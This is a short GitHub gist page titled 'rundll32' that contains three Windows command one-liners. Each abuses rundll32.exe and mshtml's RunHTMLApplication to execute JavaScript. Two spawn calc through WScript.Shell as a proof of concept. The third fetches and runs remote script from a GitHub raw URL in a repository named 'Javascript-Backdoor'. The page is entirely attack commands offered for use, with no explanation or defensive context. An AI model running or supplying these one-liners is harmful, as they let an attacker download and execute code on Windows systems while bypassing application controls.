Skip to content

Instantly share code, notes, and snippets.

@0x4243
Forked from Ridter/exec_via_rundll32
Created June 24, 2017 13:51
Show Gist options
  • Save 0x4243/398158fb0cfed1cb8b568141b4b135b8 to your computer and use it in GitHub Desktop.
Save 0x4243/398158fb0cfed1cb8b568141b4b135b8 to your computer and use it in GitHub Desktop.
rundll32
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment